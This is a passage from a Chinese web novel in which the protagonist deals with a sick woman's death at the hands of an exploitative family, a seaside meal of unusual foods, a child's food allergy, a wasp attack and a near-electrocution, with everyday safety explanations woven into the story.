罗雪萍今天精神难得的好,她在白绯的帮助下靠坐起来,喝了一口温水,有些羞涩地开口道:“真不好意思啊,我刚才做梦了,梦到自己二十三岁的时候。那个时候峻辉刚上大学,不仅需要学费生活费,还需要很多额外的开支撑场面。不管我打几份工,把钱全都寄过去,我妈却总是说钱还不够。那天我从厂子下班,门口新开了一家牛肉面馆。那面真的好香啊…我饿得前胸贴后背,真的特别想吃一口。可我兜里明明揣着刚发的三千块工资,却不能花十块钱去吃一碗面…因为妈妈早上刚打电话说,峻辉需要买一台新电脑,原来的太旧了,同学们会嘲笑他...而我长那么大,甚至连电脑都没有摸过呢!后来,大概是我在门口看得太久,老板嫌我挡生意,拿扫把...把我当要饭的赶走了...呵呵,我在那里打了三年工,然而直到回到A市,我都没能知道那碗牛肉面的味道。”
白绯看着她脸上苦涩委屈的神情,张了张嘴却也不知该说什么,只是轻轻地叹了口气。
就在这时,门被咔哒一声打开,是祝临川拿着面回来了。
他把热腾腾的面放上小餐桌,又细致地掰开筷子递给罗雪萍,淡淡道:“那样狗眼看人低的老板,想来做的面也不会好吃。倒是今天这家,老板听说你生病了,特意赠送了一个溏心蛋,让我转告你,希望下次你病好了,能亲自去他店里吃。尝尝吧。”
“唉~”罗雪萍擦了擦眼角的泪,接过筷子,几乎是虔诚地挑起一筷子,慢慢放进了嘴里。她的眼泪滴落,掉进面碗里,打出两个小小的涟漪,哽咽道:“很好吃...”
白绯递了张纸巾过去,劝慰道:“等你病好了,自己辛苦赚的钱就别便宜吸血鬼了。如果你需要工作,我可以给你介绍。”
罗雪萍抬头看了眼门外,枯瘦的手握紧了筷子。白绯看出来她内心的纠结,很多女孩子就是被道德和亲情绑架,直到被吸干净血肉,都下不了决心切断那份拖累。
然而好在经历过这次生死,罗雪萍似乎也终于放下了,她仿佛下定了决心,最终低低地应了声好。
吃完面,罗雪萍还在二人的搀扶下下地走了走。
然而当她们走到走廊尽头,却正好听到了罗峻辉和辉夜号的交涉。
罗峻辉要求对方赔偿三百万,辉夜号自然不会同意这样的狮子大开口,双方正在激烈的拉锯。
还有祝金花在房间里上演一哭二闹三上吊给罗峻辉叠甲,因为她年纪大了又是个老太太,竟是无人敢碰。
罗峻辉得意地看着对方不得不一退再退,余光扫到门口的罗雪萍,突然脸色大变,烦躁地冲了出来。
“你怎么还下地了?”他皱着眉头上下打量罗雪萍,眉梢眼角却分明写着不满。“医生不是说你快不行了吗?”
这哪里有对亲姐姐的关心,分明是盼着她早点去死。
69. 猎奇食物大赏
“我们走吧。和畜生待在一起不利于恢复。”
白绯当机立断,果断扶着罗雪萍离开了接待室,只留下罗峻辉在背后气急败坏地跳脚。
然而经过这么一闹,罗雪萍也彻底没了散步的心思,脸上的笑容也淡了下来。
“谢谢你们啊。我有些累了,想休息一会儿。”
白绯看出罗雪萍的伤心,却贴心地没有戳破,把她扶回床上躺下,又给她掖好被角。
离开前,她听到罗雪萍低低的叹息声:“为什么我现在才明白呢?”
罗雪萍最后究竟明白了什么注定无人得知,因为这竟成了她最后的遗言。当晚,她的病情就急剧恶化。
白绯眼看着医护人员进进出出,罗雪萍躺在床上艰难地呼吸,然而每一次却都像是在拉动破败的风箱,发出可怕的嘶啦声。
白绯知道,这是她的肺正在失去应有的功能。
健康人的肺是有弹性的,并且拥有蓬松、充满空气的蜂巢,也就是肺泡。然而罗雪萍的肺,却在逐渐失去弹性,直到最后,它们会变成两块干硬的丝瓜。
这是因为她的肺泡正在被粗糙致密的纤维填满和包裹,逐步纤维化,这是一个非常痛苦又折磨的过程。
罗雪萍最后死于呼吸衰竭和多器官衰竭。因为她的死,罗峻辉从辉夜号要到了一百万赔偿款。
“有了这笔钱,我就能东山再起了!”款项到账的那刻,罗峻辉脸色狂喜,对着床上已经失去气息的罗雪萍真心实意地感叹道:“姐姐,你可真是我的好姐姐,死的太是时候了!
祝金花坐在床边看着女儿冷冰冰的尸体,像是后知后觉品出了一点心疼,然而这点怜惜很快就被赔偿款到账的喜悦冲得无影无踪。
罗峻辉母子尝到了甜头,原本还想从白绯身上要点好处。但方瑜似乎偶然从医护人员那儿知晓了原委,之后就一直留在医院守着她。
柳卿卿更是干脆招了六个西装革履的保镖来,一水的一米九大长腿,墨镜一戴和□□似的,一看就很有背景不好惹。
罗峻辉这般的人,平生最会审时度势。母子俩一看这是个不好惹的硬茬,压根没敢再逼逼,草草地把罗雪萍的遗体火化后就匆忙离开了。
辉夜号早已按时离开,再上船也不可能了,因此工作人员给白绯几人双倍退了款。
既然如此,白绯便决定索性留在Q市好好玩两天再走。
四人行走在Q市的滨海大道上,咸腥的海风裹挟着炭火的香气直往人鼻腔里钻。不远处,霓虹灯的招牌在夜色下散发着柔和的光晕,吸引着来自天南海北的食客。
“走!这么多人排队,味道一定差不了!”白绯双眼放光,拉着祝临川就往这家“Q市正宗海鲜烧烤大排档”走去。
这几天虽然住在五星级酒店,天天吃着米其林三星,但也不知是因为身边有在生死线垂死挣扎的病人,还是这时刻让人怀疑自己是冤大头的菜品确实不符合她的胃口,白绯总想着街边的普通菜馆,此时此刻闻着这烟火气,才觉得自己可算活过来了。
好在她们来得早,虽然有乌泱泱的人排队,但等大排档收拾妥当开始放客后,她们还是很快就在一张圆桌边落座了。
柳卿卿显得对周围的一切都很好奇,想来这位大小姐还没在这么平民的地方吃过饭。既没有西装革履的侍者,也没有悠扬的小提琴声,震耳欲聋的口水歌都快把人震傻了。
白绯把一张塑封菜单递给她,热情招呼道:“你们想吃什么就勾,别客气,今天这顿我请了。”
柳卿卿用食指和拇指嫌弃地捏住油乎乎的菜单,矜持地递给了方瑜:“你点吧,我没什么特别想吃的。”
方瑜也没客气,拿过笔刷刷勾起来。很快,服务员就把菜端上桌了。
装在铁盘里的蒜蓉扇贝和小龙虾,竹编篮子里的高压锅生蚝、还有油爆大虾,各种烤串。最让人期待的就是冰镇过的扎啤了,杯子上凝结的水珠滴落,看着就沁人心脾。
白绯端过一杯迫不及待啜饮了一口,金黄色的液体带着清香,驱散了夏夜的粘腻,徒留畅快。
“太爽了!”白绯放下酒杯,长长地叹了口气,“就算这是液体面包,也忍不住来上一杯啊!”
祝临川在她的碟子里放下两只虾仁,又俯身擦掉她嘴边的泡沫,温和道:“先吃点垫垫,空腹喝酒不好。”
他嘴角带着微微的笑意,想来也是心情不错。
对面的方瑜将这一幕看在眼里,不屑地撇了撇嘴,也夹了块生蚝肉放到白绯碗里。
“这是好东西,女人的美容院,男人的加油厂。”他说完,竟还不怀好意地又夹了一个放到祝临川碗中,故意恶心道:“临川看着就有点虚,你也吃点补补哈。”
祝临川不以为意地笑笑,夹起来就放进了嘴里,咽下后意味深长道:“女为悦己者容,男人自然也该为悦己者好好补补肾。不过你倒是可以少吃点,反正也用不到。”
最近在病房,二人之间难得的没有掐架。结果没想到现在又跟两个幼稚的孩子似的斗起嘴来。
白绯无语地翻了个白眼,给对面有些局促的柳卿卿也夹了点菜过去。
“你尝尝,味道还不错。要是吃不惯,我给你去边上买点其他的。”
柳卿卿有些不好意思地动筷:“不用,没那么娇气。”
正说着话呢,有个服务员端着一个竹簸箕路过。柳卿卿好奇地瞥了一眼,就这一眼,却让她瞬间头皮发麻。
只见里面装着满满一盆琥珀色的椭圆橄榄核,外壳还带着一种诡异的胶质感。但最可怕的是,它们正在里面缓慢地蠕动,腹部的环节因此而不断地收缩与舒展。
“啊!”柳卿卿吓得筷子都掉了,抓着方瑜壮硕的小臂,指甲在上面留下五个月牙般的小印子,从嗓子里挤出哀嚎声:“它它它它在动!”
“它当然在动。”方瑜一副你怎么这么少见多怪的模样,云淡风轻道:“因为它是活的啊!这是蝉蛹,你不用怕,等端上来它们自然就不动了。”
柳卿卿雪白的胳膊上已经起了一层细密的鸡皮疙瘩,她张口结舌地看着方瑜,像是大脑都已经宕机:“端端端上来?这玩意儿你们还要吃?!”
“对啊,高蛋白,油一炸后嘎嘣脆,可香了!哝,你看,咱们的也上来了。”方瑜理所当然地回答道。
果然,柳卿卿顺着他指的方向看去,就看到服务员已经端着一盘子炸得油光锃亮的蝉蛹走了过来。
方瑜从盘子里捏出一个扔进嘴里,嘎吱嘎吱地嚼起来:“唔,炸得正好,你们也尝尝吗?”
白绯和祝临川倒没觉得不适,都拿着筷子夹了两个尝尝。柳卿卿一脸怀疑人生,喃喃道:“原来现在外面的穷人都沦落到吃虫子了吗?”
白绯:...倒也不是。
柳卿卿说完又一脸恍惚地看了看方瑜的嘴,然后被蛰到似的捂住了自己的脸,嘀咕道:“我可不想要亲一张吃过虫子的嘴啊...”
白绯:...
方瑜完全没注意自己差点因为这一口蝉蛹错失嫁入豪门的机会,喝了口啤酒后聊起天来。
“说来,还真有我不敢吃的东西,牛瘪火锅,你们知道吗?”
“这个我知道。”白绯做了个龇牙咧嘴的表情,解释道:“牛瘪火锅,也叫做牛粪火锅或者百草汤,是G市那边儿的一道特色美食。其实,你们听这个名字也应该猜出来是怎么做的了吧?”
柳卿卿破天荒地把自己往边上挪了挪,坐得离方瑜远了些,猜测到:“用牛粪做燃料煮的火
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锅?”
白绯捂着嘴偷笑:“你可以再大胆点。”
柳卿卿僵硬地咧了咧嘴:“再大胆点...哈哈,总不至于是吃牛粪吧。怎么可能呢,哈哈哈~”
“还真差不多。”方瑜一句话直接把柳卿卿震在了原地。
“哈?”柳卿卿的眼睛都瞪大了,“你在开玩笑吧?”
“牛瘪嘛,其实就是指牛瘤胃和十二指肠中没有被完全消化掉的草料。用纱布把这玩意儿挤压过滤,再加入牛胆汁,这就是牛瘪火锅中的重要原料—牛瘪汁了。用这个牛瘪汁,再混合藿香、石菖蒲等香料煮沸,再加入爆香至七成熟的牛肉,就是牛瘪火锅了。最后的成品汤色浓绿,跟草料汤似的。至于气味嘛,哈哈,据说就是牛粪和腐草的味道,但当地人说入口后尾韵回甘,牛肉也特别鲜嫩,所以他们会连肉带汤吃。可能,这就是G市人的豆汁儿吧~”白绯边说,边控制不住地抖了抖。
她喝了口啤酒压压惊,继续道:“不过我至今还没尝试过。其实我也算吃过不少猎奇的食物了,像是什么毛蛋啊,生腌啊~其实还挺好吃的。”
“毛蛋啊,这个我也吃,其实味道真的挺鲜美的。不过我比较偏爱那种还未变成小鸡小鸭的毛蛋,里面已经有成形的小鸡小鸭的毛蛋还是有点瘆人了。”方瑜附和道。
“那种也别有一番风味,肉非常嫩,就是去毛会比较麻烦。”
边上正好有一桌带着孩子的老年夫妻,似乎一直在听他们说话,突然插话道:“哎哟,闺女,有眼光啊,现在这年代,懂这口的可不多。我听你的口音,是A市人?”
白绯转头看去,就见是一个慈眉善目的老爷子,戴着眼镜,穿着身洗得干干净净的老头衬衫。
他身边还坐着个老太太,虽然年纪大了,但看着十分白净,花白的头发挽起,正给自家大胖孙子夹了一筷子甲鱼,催促道:“乖孙,甲鱼裙边可有营养了,你尝尝。”
她注意到白绯等人看过去的视线,微笑着点了点头打了个招呼。
“是啊,我们是A市过来旅游的。”白绯笑眯眯地回应道,“您也是A市人?”
“那可不。”老爷子语气很是怀念,“我在A市长大,但自从大学毕业后就留在了这儿,已经有好几十年没回去了!这儿都没人吃毛蛋,所以我听你们提起,就猜可能是故乡的人喽~”
白绯笑着递过去一叠还没动过的鲍鱼:“相逢即是有缘,爷爷,这个请你们。”
老爷子也不扭捏,大大方方地接了过去。
“那我就不客气了。来,正好我今天从Y市的好友那儿拿了点好东西,给你们也尝尝~蜂王胎,这玩意儿可大补。”
老爷子边说边得意地从兜里掏出一个透明的玻璃罐,托在手里展示给几人看:“山上的蜜蜂,我好友拢共就得了两罐。这东西对女孩可好了,补充雌激素,对卵巢特别好,还有抗衰美容,提升免疫力的功效。正好我这儿还有个干净瓶子,给你们装点。”
四人向他的手中看去,只见玻璃罐里是透明的液体,而液体中则泡满了一只只鼓鼓囊囊的白色肉虫。
柳卿卿此刻的脸色已经刷白。方瑜摸着下巴仔细端详:“这就是蜂王胎啊?这白白胖胖的,瞅着有点像蛆...哎哟~”
他话还没说完,就被白绯从桌子底下一脚蹬在腿上。他龇牙咧嘴地捂着小腿,委屈地看向她,用口型无声地问道:“干嘛踢我?”
白绯冲他翻了个白眼,对老爷子礼貌道谢:“够了够了,爷爷,这么多就行了,吃不完浪费的。谢谢你啦爷爷~”
等白绯从那桌回来,柳卿卿已经把自己蜷缩进了角落。其余三人看着这瓶肉虫,都默契地暂时选择了无视。
他们又吃了一会儿,隔壁桌突然传来一声惊呼。
70. 蜂蜂全家桶
“奶奶,我的嘴巴好痒啊!”
众人都被吃了一惊,循声望去。就见隔壁桌上圆滚滚的大胖孙子嘴唇竟然肿成了两根香肠。
白绯感觉自己的笑点和道德在打架,但还是担忧地凑了过去:“怎么了这是?”
老爷子扭头看了孩子一眼,也很意外:“是不是吃太辣了?”
“那快喝点水缓缓。”老太太赶紧端起水杯,给孩子喂了两口。然而出人意料的是,情况并没有好转,甚至还有恶化的趋势。
孩子的皮肤肉眼可见地发红,并且控制不住地上下抓挠,嘴里叫唤着:“好痒啊!奶奶我好痒啊!”
白绯拧着眉头仔细打量了孩子一圈,又快速在桌上的碗盘中扫视,很快发现了问题所在。
她指着桌上那盘吃了大半的麻辣小甲鱼,问道:“爷爷奶奶,这孩子是不是第一次吃甲鱼?”
老太太边帮孩子挠痒边点头:“对,是第一次吃。因为这甲鱼我也不会烧,听说大补,才在这儿点了只,想着给孩子尝尝。”
“那就是了。”白绯的脸色立刻严肃起来:“孩子有可能是甲鱼过敏,你们还是赶紧去医院看一下吧。”
“这么严重?!”老爷子顿时慌了。小酒也不喝了,猛地一下站了起来,连椅子都给踢翻了。
这动静很快把餐馆老板也吸引了过来。
“怎么了这是?哎哟,孩子咋红得猴屁股似的了?!”
白绯神情严肃,快速解释道:“可能是甲鱼过敏了。目前看症状不算特别严重,但也不能掉以轻心。严重过敏可是会导致呼吸道肿胀的,要是因此窒息那可真是抢救都来不及了。爷爷奶奶你们还是快去医院吧,没准后头孩子还可能呕吐、腹泻、发烧。”
听白绯这么一说,两位老人也不敢再耽搁,叫老板赶紧结账。
老板连连摆手,大声招呼店里伙计道:“快快!叫小吴开上咱店里的车,送孩子去医院!抓紧的!哎哟,您老别惦记着结账了,孩子要紧,这单我给您免了!”
车子很快绝尘而去,老板擦了把脸上的汗,看起来十分后怕的模样。他嘀嘀咕咕道:“这可真是大千世界无奇不有,原来甲鱼也能过敏吗?”
白绯解释道:“其实甲鱼过敏的人还真不少,只不过这玩意儿吃的人不多,所以大家不知道罢了。”
甲鱼全是高蛋白的滋补食材,富含多种生物活性蛋白质。这是一种异种蛋白,过敏体质者的免疫系统很容易将它识别为入侵者,因而引发过敏症状。尤其是甲鱼裙边,最美味也是胶原蛋白含量最高的部分。
儿童免疫系统想比大人,发育还不完善,此外患有湿疹、哮喘等自身免疫病的患者,或者长期未接触甲鱼的人,都有较高风险对甲鱼过敏。
其实人类过敏的过敏原可谓千奇百怪无奇不有了。常见的过敏原有菠萝、芒果、花生、牛奶、芝麻,甚至还有宠物毛发、螨虫、灰尘...有些人吃辣的时候会不停流鼻涕,也有可能是因为他对辣椒过敏。
白绯还曾听过一个地狱笑话。有个人的妈妈说,他小时候特别喜欢吃香蕉,只要一吃就特别乖,吃完还一定会犯困。直到长大后才知道,原来他不是喜欢吃,是吃完就过敏休克了。
当然了,过敏症状也是有轻重的。轻度过敏只是会造成皮肤瘙痒,或者出现红斑、口唇麻木、恶心呕吐以及腹泻。
中度过敏就严重多了,可能会导致呼吸困难、胸闷心悸或者全身荨麻疹。而重度最危险,可能直接出现喉头水肿、血压骤降甚至过敏性休克,此时就要立刻急救了。
白绯以前还碰到过一个客户,本身花生过敏,结果和刚吃完花生酱吐司的女友法式深吻了一会儿,就急性过敏,最近抢救无效去世了。所以对于过敏,大家还是抱着谨慎的态度比较好。
老板听完也后怕地拍了拍胸口:“原来这样啊!最近好多网红都在带货吃麻辣小甲鱼,带火了这玩意儿。看来以后我得在桌上立个牌子,再提醒服务员提前告知顾客有过敏风险。不然要是真有人在我店里因为吃了这玩意儿噶了,我就完蛋了。多谢你啊大妹子,要不是你提醒,大家可能还不当回事嘞!”
“没事,应该的。”白绯挥挥手,深藏功与名。
然而老板却很感恩,在白绯等人结账时,不仅替他们免了单,还鬼鬼祟祟地提过来一袋子东西。
“送给你们。这是我从Y市老家自己人肉背回来的。山峰的蜂巢,可脆!可甜!现在人工养的都是纸屑做的,纯添加零天然,哪有这山上摘的好!对了,里头还有好多蜂蛹呢,蜂蛹刺身那可是一绝!”
老板说着说着竟然还咽了口口水:“我小时候可爱吃这个了,一口一个蜂蛹跟嗑瓜子一样,这也算是我们Y市人的向日葵了。你们到时可千万别油炸了,高端的食材就需要最朴素的处理方式,直接吃,原汁原味,保证跟纯牛奶一样在舌头上直接爆浆,回味无穷!”
“呕!”柳卿卿这下是彻底受不了了,捂着嘴跑了。
老板无辜地张着嘴看了看她的背影,小声问道:“这姑娘是怀孕孕吐啦?那孕妇可不能吃这个,你们记着提醒她忌口。可惜喽,小姑娘没口福。”
白绯有点槽多无口。她抬头看了眼门口“Q市正宗海鲜烧烤大排档”的名字,嘴角抽搐地拒绝了这个Y市人的好意。蜂蛹刺身,对于她而言也有点太刺激了。
老板恨他们不识货,最后只好又拿了一瓶山峰蜜过来,让他们无论如何都要带走。白绯不好再拒绝,只好收下了。
走出店门后,她给老板的收款码转过去饭钱和蜂蜜钱,和祝临川手拉手走在夕阳西下的海滩边。方瑜则被她撵去陪柳卿卿了,这姑娘今天着实受到了不小的冲击。
暮色西沉,霞光温柔地铺展在沙滩上,白绯恍惚有种错觉,仿佛脚下踩的是一块巨大的舒芙蕾蛋糕。她干脆脱了鞋子,光脚踩在柔软的沙子上。
“真的太幸福了。”她迎着海风长长叹息着。
前面传来方瑜的叫声,似乎是被路过的螃蟹夹到了大脚趾。柳卿卿慌乱之下捡起了一块石头去砸,却失了准头,砸到了方瑜的脚背,于是他叫得更大声了。
白绯看着这充满生命力的一幕,抿着嘴笑起来。
祝临川弯腰从地上捡起一个贝壳,放在耳边侧耳倾听。白绯眨巴着眼睛期待地看着他,问道:“真的有海浪的声音吗?”
祝临川顿了顿,点点头,翘起一边嘴角把贝壳递了过去:“嗯。”
白绯接过贝壳,屏气凝神细听,然而除了远处方瑜的惨叫外根本没听到任何声音。
“骗人~”白绯伸出拇指和食指,掐着祝临川胳膊上一块肉狠狠拧了拧,气鼓鼓地走了。
四人打打闹闹,不知不觉竟偏离了人群。直到白绯被脚下的碎石硌到,他们才发现原来已走到了荒凉处。
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这原本也没什么大事,有祝临川和方瑜这两个身高一米九的壮汉在,一般的不法之徒还真得掂量掂量自己的斤两。
然而没想到的是,就在几人掉转方向往回走时,柳卿卿突然吃痛地叫了一声。
“啊!有什么东西咬了我一口!”
众人立刻都围了过去,只见她面色惨白,单手捂着后脖颈,身体正不住地颤抖。
“什么东西,你看清了吗?”白绯疑惑地询问。
她移开柳卿卿的手,只见她纤细的后颈上有一个清晰的针尖大小的小孔,周围的皮肤已经发红肿胀。
“没看清,但我好像听到了嗡嗡的声音...”柳卿卿看起来都快站不住了,泪水很快盈满了眼睫,声音都在打颤:“好疼啊...”
祝临川眯起眼睛,借着昏暗的月色四处打量。片刻后,他找到了罪魁祸首。
“不好,是马蜂!”
白绯顺着他的视线看去,果然发现了一个黑黄相间的蜂影。然而很快,她就发现了更糟糕的事。
半空中竟盘旋着足足几十只马蜂!而它们正带着明确的敌意,扇动着翅膀加速朝他们俯冲而来!
“快跑!”
话音刚落,四人就拔腿狂奔。电视剧里,无论情况如何紧急,主角们都要因为掉了东西回去捡,或者为了回去救同伴拖拖拉拉,最后惨被反派抓住。
然而白绯等人却拿出了逃命应有的态度,连头都没敢回。
方瑜一把抄起柳卿卿抱在怀里,边喊着“为啥跑,发生什么事了”,但脚下也一点没耽搁,紧紧追在二人身后。
“有几十只马蜂在后面!”白绯喘着气回答,在她快跑不动的时候,祝临川也打横一把抱起了她,还顺带着把外套盖在了她身上。
直到背后不再有那恐怖的嗡鸣声,四人才停下了脚步。白绯挣扎着从祝临川怀里下来,上上下下检查他的身体:“有没有被咬到?”
一番检查下来,她在祝临川的后背发现了两个红肿发亮的大包,其中一个还在迅速扩大。方瑜更惨,额角和耳朵有两个颜色深红的包块,把好好一个帅哥整得和个妖怪似的。
柳卿卿被方瑜保护得很好,除了原先后颈的叮咬处之外,没有其他的伤口。只是她唇色惨白,皮肤潮红,甚至呼吸都有些困难,看起来像是在忍受巨大的痛苦。
白绯当机立断掏出了手机叫车:“我们去医院,柳卿卿可能对蜂毒过敏。”
好在医院就在不远处,柳卿卿一进急诊,就立刻被医生带去治疗了。方瑜和祝临川情况比较轻,但也被白绯催着去找护士处理了伤口。
护士仔细检查了二人的伤口处,最后在祝临川的后背发现了一处断裂的毒刺。
马蜂的毒针和蜜蜂不同,蜜蜂一般只能攻击一次,毒针就会断裂。而马蜂却能攻击多次不断裂,因此也加大了攻击力。另外,拔这种毒刺也是有讲究的。在它的根部有一个毒囊,拔除时要注意不要挤压到,否则可能会导致更多的蜂毒被注入体内。
白绯看着护士用镊子夹着毒刺垂直拔出伤口,然后用清水冲洗。之后又给他们开了冰袋冷敷,炉甘石洗剂清洗和药膏涂抹。
保险起见,护士嘱咐他们在留观室至少停留一小时后再离开,以防出现迟发性过敏反应。
看二人情况还算良好,白绯也松了口气。之后,她像想起了什么,又掏出手机打起了电话。
71. 尸和远方
“给谁打电话啊~”方瑜轻轻揉了揉额角的包,疼得龇牙咧嘴。
他看了看白绯背包里的蜂王胎和蜂蜜,咂嘴推测道:“今天也太倒霉了,这些马蜂简直跟追杀杀父仇人似的黏着我们不放。难道是因为我们拿了蜂蜜还有蜂王胎,它们要为同族的孩子报仇?”
白绯哭笑不得摇摇头:“哪那么玄乎。我猜,它们应当是失巢的马蜂。之前很有可能有人把这儿的蜂巢给取走了,等它们回来后发现窝没了,自然就发狂了,开始疯狂攻击周围的活物。”
失巢的马蜂可真是应了那句话,就是连路过的狗都得挨两口。不过这也挺好理解,搁谁家被偷了能不疯啊!
“我联系消防过去处理一下吧,免得还有哪个倒霉蛋无辜遭殃。”白绯摆摆手,示意他们休息,走到外面去打电话。
穿书前,白绯就曾接过一个这样的倒霉蛋。正直壮年的年纪,却在上班路上不幸被马蜂蛰咬死亡。
当时他的情况可比祝临川他们惨多了,浑身上下都是蛰咬的伤口,几乎找不出一块好肉。医生护士光是替他拔除身上的毒刺就花了好几个小时,整个人最后都快成了血葫芦。可尽管如此,他的情况还是十分糟糕。
据家属说,当时受害者整个人都因为疼痛而控制不住地颤抖,而最可怕的是,他的尿液已经变成了酱油色。
有些人可能对酱油色尿液并不陌生。当锻炼过度造成横纹肌溶解时,就可能出现酱油色尿液,这是一个十分危险的情况。
但大部分人都不知道,若是短时间内被大量马蜂蛰咬,也有可能造成这个后果。
除了横纹肌溶解,短时间内大量蜂毒的注入还有可能造成溶血、急性肝肾损伤、神经系统损害和多器官功能衰竭。就像那位客户,最后就还是没能抢救回来,一命呜呼。
办完丧事后,家属又返回了事发地检查,然而却到处都没能发现马蜂窝。好在附近有监控,最后通过监控视频发现,原来前段时间有人来这里取走了蜂巢回去泡酒,但却没有连窝清除干净。这才导致失巢的马蜂发狂,攻击人致死。
据家属讲,后来法院还判了那个取蜂人赔偿受害者家属三十万。
当然一般人不太会这么寸,碰上大量的马蜂。但若是对蜂毒过敏,就像是柳卿卿这样的情况,即使只被蛰咬了一口,也是极有可能致死的。
对蜂毒过敏的人在被咬后几分钟内就会迅速发生全身大面积的荨麻疹,还有呼吸困难、头晕、恶心、呕吐、休克等反应。尤其是过敏性休克,若不立即注射肾上腺素,能在短时间内致命。
被蛰咬的部位不同,危险程度也有区别。如果蛰咬在头颈部、咽喉等位置,就相对更危险些。因为这些部位组织疏松,肿胀可能迅速压迫气道,导致窒息。
另外,个人的健康状况也有影响。老年人、婴幼儿和患有严重心肺疾病和免疫系统疾病的人对蜂毒的耐受能力可能更低。
白绯曾经接待过一个才五岁的小女孩,她就是因为被马蜂叮咬去世的。
女孩的父母在城市里工作,把孩子留给了在农村老家的爷爷奶奶照顾。当天孩子被马蜂叮咬后,老人认为不算什么大事,就没放在心上。然而等到第二天一早,躺在床上的孩子就已经变成了一具冷冰冰的尸体。
直到那时,老人才不慌不忙地打电话告诉父母。
也不知是由于心虚,抑或是本身能力有限,他们支支吾吾了半天才把事情解释清楚。孩子父母在电话那头心神具震,连忙打电话叫了救护车,然而也为时已晚了。
葬礼上,年轻的父母趴在孩子棺材边哀嚎痛哭,而那对老人却只远远站在外圈,面色冷漠,愤愤不平。嘴里还在嘀咕着:“怎么会呢,不过是被马蜂咬一口,怎么就死了呢?还好只是个女孩…”
白绯不知道事到如今,到底是什么造成了孩子的死亡。也许是她年纪太小抵抗力太差,也许是她本身不幸对蜂毒过敏,又或许是因为老人常识匮乏,又或许只是因为她是个不受重视的女孩儿吧。
白绯结束了回忆。电话那头,消防正在仔细询问位置。他们向白绯表示了感谢,并承诺会立刻出警,保证妥善处理。如此,白绯也算彻底放下了心。
她合上手机,走到祝临川身边,伸手在他身上红肿的伤口处虚虚摸了摸,语气里是掩不住的心疼:“怎么这么傻,穿着外套可能就不用白挨这俩口了。”
祝临川握住她的手,牵到嘴边轻轻吻了一口,笑道:“没事,不疼。”
只要你没事,就是值得的。
好在后来,柳卿卿的过敏反应不算严重,在医院住了一天后就被允许出院了。三人坐飞机返回了A市,出人意料的是,柳卿卿也跟了过去。
经历过这次马蜂事件后,她似乎克服了对亲吻吃过蝉蛹的嘴的恐惧,对方瑜又亲近起来。
至于住处,柳卿卿的原话是:“华国主要城市我都有房子,国外大城市也有。以后你们出去玩,可以去我那儿住,反正也都闲置着。”
白绯:可恶,有钱可真好啊呜呜呜…
白绯和祝临川回到了小楼。祝临川继续去所里当他的牛马,白绯则在楼里好好休息了几天。
虽说出去旅游也很开心,但金窝银窝始终不如家里的狗窝,就这么什么也不干呆在家里也是种享受。
期间,周芸打来电话告诉白绯,就在她们离开去旅游的期间,竟然还发生了一件极其惊险的事,差点直接把白叔远送走。
“那天你爸和周端在浴室洗脸池给宝宝洗澡,洗完后用吹风机给孩子吹头发。吹好后周端把孩子抱到我这儿来穿衣服,留你爸在浴室收拾。结果没想到,你爸手一滑,吹风机就掉进了水池里,泡进了里头的水里。他当时也没多想,下意识就伸手去捞,还好周端正好过去想给他帮忙,好玄在你爸把手伸水里去前把人给拦住了。因为跑得太急,人周端还扯着筋了,到现在还瘸着呢!”
白绯差点连手机都握不住了,因为后怕,浑身的鸡皮疙瘩都立了起来。
她赶紧追问道:“那爸没事吧?这可不能捞,捞了就触电了!”
“可不是!”周芸听起来也像是受了很大惊吓,“还好有周端,你爸除了被吓到了外一切都好。其实一开始我们还没明白为什么周端要拦着,等后来一听他解释,嚯,当场就软了!”
白绯从前也不知道会触电,直到接到一名这样的客户,将她以死亡为代价的教训牢牢记在了心里。
其实这是因为当通电的吹风机掉进有水的水池后,水中其实已经带电了,若是把手伸进水里,人体自然就成为了电路的一部分,最后触电死亡。
而且触电后,肌肉还会痉挛,导致手无法松开,使人更难脱离电源。因此民间还有一个小诀窍,就是用手背去触碰,这样当人肌肉痉挛手握成拳时,不会像用手心触碰那样反而牢牢握紧电源,这样就能多一线生机。当然,最靠谱的还是严格按照安全守则作业。
总之,碰到这种情况,绝对不能伸手去捞,而是应该立即切断电源。首选是直接拉下电闸,次选则是用干燥的手拔掉吹风机插头,同时要注意穿着干燥的拖鞋站在干燥的物体上,而不是光着脚站在潮湿地面。另外,身体也尽量不要倚靠
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水槽。
所以在很多国家是有相关规定的,那就是装修时不许在浴室内接电源插座,为的就是杜绝这种风险。
“那吹风机呢,你们后来怎么处理的?”
“扔啦!周端拿塑料夹子夹出来后就扔啦!你爸还舍不得,但周端说这种进过水的电器有很大安全隐患,没有彻底干燥前使用的话会引起火灾或者再触电,让我们不要为了省这点钱冒险。”
白绯连连点头:“对,是应该这样处理。那周端现在情况还好吗?他受伤了,你们照顾宝宝还吃得消吗?”
周芸让她放心:“他就是拉伤了,现在已经好得差不多了。正好周家老太太也过来了,说帮忙一起照顾孩子,毕竟男女有别,以后有些事周端也不方便处理,她正好趁现在和孩子先熟悉熟悉。我和你爸觉得吧,这小伙子不错,周老太太看着也是真心疼爱宝宝的,宝宝和他俩也挺投缘,过段时间,要不就把领养手续办了吧。人家也说了,领养后也还认我们做爷爷奶奶,欢迎我们随时上门突击检查。也会定期带孩子回来看望我们,正好给小兰扫扫墓。”
白绯自然也没什么意见:“行,妈你们看着办吧。”
之后几天,白绯在小楼里招猫逗狗,很是无聊了几天。但这其实是好事,毕竟没生意,就说明大家都平平安安的。
不过好景不长,就在她无聊到给小黑和三花编了一脑袋麻花辫的时候,生意上门了。
这次的客户是个年轻人,在经济下行的年份被大厂优化,拿了赔偿后索性决定去寻找诗和远方,改行做了徒步博主。结果却由于他的自大和徒步知识的匮乏,不幸变成了尸与远方,被找到时身体已经被啃咬得七零八落,好在拼拼凑凑倒也还算完整。
白绯拿着逝者生前的照片,边用3D打印机打印缺失的部位,边听小施讲起出事的过程。
由于遇难者徒步时佩戴了运动相机,所以将整个事发过程记录得清清楚楚。就像现在的孩子们黑历史都是高清的一样,这位出师未半先道崩砠的徒步博主也记录下了自己的死亡全过程。
“他先是去驴友群找了几个同伴,然后趁着夜色偷偷摸进了一个废弃的景区。前边倒还挺顺利,但在过河的时候发生了意外。”
小施把手机递给白绯和安夏,示意她们看。
“这片景区有很多的小型溪流和瀑布,原本在这条河上是有一座简易的小木桥的,但现在正值雨季,前两天又下了场暴雨,就把桥给冲塌了。他们几人就商量着在河两岸牵了条绳索,打算拉着绳索过河。结果没想到在河流中央摔倒了,差点没被淹死。”
